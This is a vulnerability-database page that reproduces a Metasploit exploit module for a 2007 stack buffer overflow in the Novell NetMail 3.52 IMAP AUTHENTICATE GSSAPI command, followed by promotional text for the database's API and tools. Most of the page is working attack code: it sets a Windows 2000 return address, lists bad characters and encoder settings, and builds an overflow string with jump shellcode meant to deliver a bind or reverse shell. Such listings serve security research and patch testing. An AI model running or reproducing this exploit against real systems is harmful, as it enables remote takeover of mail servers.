Lucene search
K

Novell NetMail IMAP AUTHENTICATE Buffer Overflow

🗓️ 03 Feb 2007 13:11:01Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 10 Views

Novell NetMail IMAP AUTHENTICATE Buffer Overflow exploi

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell NetMail IMAP AUTHENTICATE Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE
        GSSAPI command. By sending an overly long string, an attacker can overwrite the
        buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp
        or windows/shell_reverse_tcp allows for the most reliable results.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '55175' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 850,
          'BadChars' => "\x00\x20\x2c\x3a\x40",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],
        ],
      'DisclosureDate' => '2007-01-07',
      'DefaultTarget'  => 0))

    register_options( [ Opt::RPORT(143) ])
  end

  def exploit
    connect
    sock.get_once

    jmp =  "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
    jmp << "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
    jmp << "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"

    sploit  =  "A001 AUTHENTICATE GSSAPI\r\n"
    sploit  << rand_text_alpha_upper(1258) + payload.encoded + "\xeb\x06"
    sploit  << rand_text_alpha_upper(2) + [target.ret].pack('V')
    sploit  << make_nops(8) + jmp + rand_text_alpha_upper(700)

    print_status("Trying target #{target.name}...")
    sock.put(sploit + "\r\n" + "A002 LOGOUT\r\n")

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation